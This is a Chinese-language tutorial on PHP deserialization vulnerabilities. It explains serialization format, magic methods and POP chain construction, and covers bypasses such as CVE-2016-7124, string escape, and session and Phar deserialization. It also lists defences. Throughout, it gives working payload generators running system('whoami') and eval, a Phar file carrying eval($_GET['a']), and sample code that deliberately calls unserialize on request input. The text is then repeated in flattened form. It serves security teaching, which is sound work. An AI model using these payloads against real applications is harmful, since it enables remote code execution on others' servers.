PHP反序列化从0到1
字数 2008 2025-08-11 17:39:47

PHP反序列化漏洞从入门到精通

一、序列化基础

1. 数组序列化

$test = array('xiaowang','ttt',NULL,'laowang');
echo serialize($test);
// 输出: a:4:{i:0;s:8:"xiaowang";i:1;s:3:"ttt";i:2;N;i:3;s:7:"laowang";}
  • a 表示Array
  • 4 表示数组元素数量
  • {} 内存储键值对,格式为 key;value
  • i 表示整型键
  • s 表示字符串值,格式为 s:长度:"内容"
  • N 表示NULL值

2. 对象序列化

class test{
    public $bl1='test';
    private $bl2=123;
    protected $bl3=TRUE;
}
$a = new test();
echo serialize($a);
// 输出: O:4:"test":3:{s:3:"bl1";s:4:"test";s:3:"bl2";i:123;s:3:"bl3";b:1;}
  • O 表示Object
  • 4 表示类名长度
  • "test" 是类名
  • 3 表示属性数量
  • 权限修饰符影响属性名表示:
    • public: 无变化
    • private: \x00类名\x00属性名 (显示为 %00类名%00属性名)
    • protected: \x00*\x00属性名 (显示为 %00*%00属性名)

3. 对象嵌套

class test{ var $pub; }
class test2{ var $test="helloworld"; }
$a = new test();
$a->pub=new test2();
echo serialize($a);
// 输出: O:4:"test":1:{s:3:"pub";O:5:"test2":1:{s:4:"test";s:10:"helloworld";}}

二、反序列化基础

1. 基本反序列化

class test{ var $a="abc"; var $b="123"; }
$a=new test();
$ser=serialize($a);
$unser=unserialize($ser);
  • 反序列化时会自动检查属性匹配
  • 如果属性不匹配,会用类中原有值补全

2. 反序列化漏洞示例

class test{
    public $a = 'echo "excuse me??";';
    public function displayVar() { eval($this->a); }
}
$get = $_GET["a"];
$b = unserialize($get);
$b->displayVar();

利用方式:

class test{ public $a = 'system("whoami");'; }
echo serialize(new test);
// 输出: O:4:"test":1:{s:1:"a";s:17:"system("whoami");";}

三、魔术方法

1. 常用魔术方法

魔术方法 触发条件
__construct() 对象创建时调用
__destruct() 对象销毁时调用
__wakeup() 执行unserialize()时调用
__sleep() 执行serialize()时调用
__toString() 对象被当作字符串使用时调用
__invoke() 对象被当作函数调用时调用
__call() 调用不可访问方法时触发
__get() 读取不可访问属性时触发
__set() 写入不可访问属性时触发

2. 重要魔术方法详解

(1) __construct()__destruct()

class User {
    public function __destruct() {
        eval($this->cmd);
    }
}
$ser = $_GET["a"];
unserialize($ser);

利用: 控制cmd属性执行任意代码

(2) __sleep()__wakeup()

class User {
    public function __wakeup() {
        $this->password = $this->username;
    }
}

(3) __toString()

class User {
    public function __toString() {
        return $this->test->flag;
    }
}

(4) __invoke()

class User {
    public function __invoke() {
        $this->append($this->var);
    }
}

四、POP链构造

1. 基本概念

POP(Property-Oriented Programming)链是通过魔术方法多次跳转最终执行敏感操作的利用链。

2. 简单POP链示例

class index {
    private $test;
    public function __construct(){ $this->test = new normal(); }
    public function __destruct(){ $this->test->action(); }
}
class normal { public function action(){ echo "please attack me"; } }
class evil { 
    var $test2; 
    public function action(){ eval($this->test2); } 
}
unserialize($_GET['test']);

利用链:

  1. 反序列化触发__destruct()
  2. 调用$this->test->action()
  3. 如果testevil对象,执行eval($this->test2)

Payload:

class index { private $test; public function __construct(){ $this->test = new evil(); } }
class evil { var $test2='system("whoami");'; }
echo urlencode(serialize(new index()));

五、反序列化绕过技巧

1. 字符串逃逸

(1) 字符增加逃逸

function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}

利用原理: 替换后字符变多,导致后续内容被当作序列化数据解析

(2) 字符减少逃逸

function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}

利用原理: 替换后字符变少,导致部分内容被"吃掉"

2. __wakeup()绕过(CVE-2016-7124)

条件:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

方法: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

// 原序列化
O:4:"test":1:{s:1:"a";s:3:"abc";}
// 绕过
O:4:"test":2:{s:1:"a";s:3:"abc";}

3. 引用绕过

class just4fun {
    var $enter;
    var $secret;
}
$test=new just4fun();
$test->enter=&$test->secret;
echo serialize($test);

4. 16进制绕过

s改为S,值可以用16进制表示:

O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}

5. PHP7.1+特性

PHP7.1+反序列化对类属性不敏感,可以传递public属性绕过私有属性限制

六、高级利用技术

1. Session反序列化

利用条件:

  • 不同处理器处理Session导致序列化差异
  • session.serialize_handler设置不一致

示例:

// 页面1: 使用php_serialize处理器
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];

// 页面2: 使用php处理器
ini_set('session.serialize_handler','php');
session_start(); // 触发反序列化

Payload: |O:1:"D":1:{s:1:"a";s:17:"system("whoami");";}

2. Phar反序列化

利用条件:

  • 能上传phar文件(可修改后缀)
  • 有文件操作函数如file_exists()md5_file()

生成phar文件:

class Testobj { var $output='eval($_GET["a"]);'; }
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new Testobj();
$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

利用: phar://test.phar

3. 原生类利用

常见可利用原生类:

  • Error/Exception: 通过__toString()触发XSS
  • SoapClient: SSRF利用
  • DirectoryIterator: 目录遍历
  • SimpleXMLElement: XXE攻击

示例:

$xml = new SimpleXMLElement($xmlstring);
// 可触发XXE

七、防御措施

  1. 不要反序列化不可信数据
  2. 使用json_encode()/json_decode()替代
  3. 对反序列化数据进行严格校验
  4. 设置unserialize_callback_func进行回调检查
  5. 更新PHP版本修复已知漏洞

八、实战案例

1. 综合POP链示例

class Modifier {
    private $var;
    public function append($value) { include($value); echo $flag; }
    public function __invoke(){ $this->append($this->var); }
}

class Show{
    public $source;
    public $str;
    public function __toString(){ return $this->str->source; }
}

class Test{
    public $p;
    public function __get($key){ $function = $this->p; return $function(); }
}

unserialize($_GET['pop']);

利用链:

  1. 入口Show__toString()
  2. 跳转Test__get()
  3. 执行Modifier__invoke()

Payload:

class Modifier { private $var="flag.php"; }
class Show{ public $source; public $str; }
class Test{ public $p; }

$show1=new Show();
$show1->source=$show1;
$test1=new Test();
$modifier=new Modifier();
$test1->p=$modifier;
$show1->str=$test1;
echo urlencode(serialize($show1));

通过系统学习PHP反序列化漏洞的原理、利用技术和防御方法,可以更好地理解和防范这类安全风险。

PHP反序列化漏洞从入门到精通 一、序列化基础 1. 数组序列化 a 表示Array 4 表示数组元素数量 {} 内存储键值对,格式为 key;value i 表示整型键 s 表示字符串值,格式为 s:长度:"内容" N 表示NULL值 2. 对象序列化 O 表示Object 4 表示类名长度 "test" 是类名 3 表示属性数量 权限修饰符影响属性名表示: public: 无变化 private: \x00类名\x00属性名 (显示为 %00类名%00属性名 ) protected: \x00*\x00属性名 (显示为 %00*%00属性名 ) 3. 对象嵌套 二、反序列化基础 1. 基本反序列化 反序列化时会自动检查属性匹配 如果属性不匹配,会用类中原有值补全 2. 反序列化漏洞示例 利用方式 : 三、魔术方法 1. 常用魔术方法 | 魔术方法 | 触发条件 | |---------|---------| | __construct() | 对象创建时调用 | | __destruct() | 对象销毁时调用 | | __wakeup() | 执行unserialize()时调用 | | __sleep() | 执行serialize()时调用 | | __toString() | 对象被当作字符串使用时调用 | | __invoke() | 对象被当作函数调用时调用 | | __call() | 调用不可访问方法时触发 | | __get() | 读取不可访问属性时触发 | | __set() | 写入不可访问属性时触发 | 2. 重要魔术方法详解 (1) __construct() 与 __destruct() 利用 : 控制 cmd 属性执行任意代码 (2) __sleep() 与 __wakeup() (3) __toString() (4) __invoke() 四、POP链构造 1. 基本概念 POP(Property-Oriented Programming)链是通过魔术方法多次跳转最终执行敏感操作的利用链。 2. 简单POP链示例 利用链 : 反序列化触发 __destruct() 调用 $this->test->action() 如果 test 是 evil 对象,执行 eval($this->test2) Payload : 五、反序列化绕过技巧 1. 字符串逃逸 (1) 字符增加逃逸 利用原理 : 替换后字符变多,导致后续内容被当作序列化数据解析 (2) 字符减少逃逸 利用原理 : 替换后字符变少,导致部分内容被"吃掉" 2. __wakeup() 绕过(CVE-2016-7124) 条件 : PHP5 < 5.6.25 PHP7 < 7.0.10 方法 : 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行 3. 引用绕过 4. 16进制绕过 将 s 改为 S ,值可以用16进制表示: 5. PHP7.1+特性 PHP7.1+反序列化对类属性不敏感,可以传递public属性绕过私有属性限制 六、高级利用技术 1. Session反序列化 利用条件 : 不同处理器处理Session导致序列化差异 session.serialize_handler 设置不一致 示例 : Payload : |O:1:"D":1:{s:1:"a";s:17:"system("whoami");";} 2. Phar反序列化 利用条件 : 能上传phar文件(可修改后缀) 有文件操作函数如 file_exists() 、 md5_file() 等 生成phar文件 : 利用 : phar://test.phar 3. 原生类利用 常见可利用原生类: Error / Exception : 通过 __toString() 触发XSS SoapClient : SSRF利用 DirectoryIterator : 目录遍历 SimpleXMLElement : XXE攻击 示例 : 七、防御措施 不要反序列化不可信数据 使用 json_encode() / json_decode() 替代 对反序列化数据进行严格校验 设置 unserialize_callback_func 进行回调检查 更新PHP版本修复已知漏洞 八、实战案例 1. 综合POP链示例 利用链 : 入口 Show 的 __toString() 跳转 Test 的 __get() 执行 Modifier 的 __invoke() Payload : 通过系统学习PHP反序列化漏洞的原理、利用技术和防御方法,可以更好地理解和防范这类安全风险。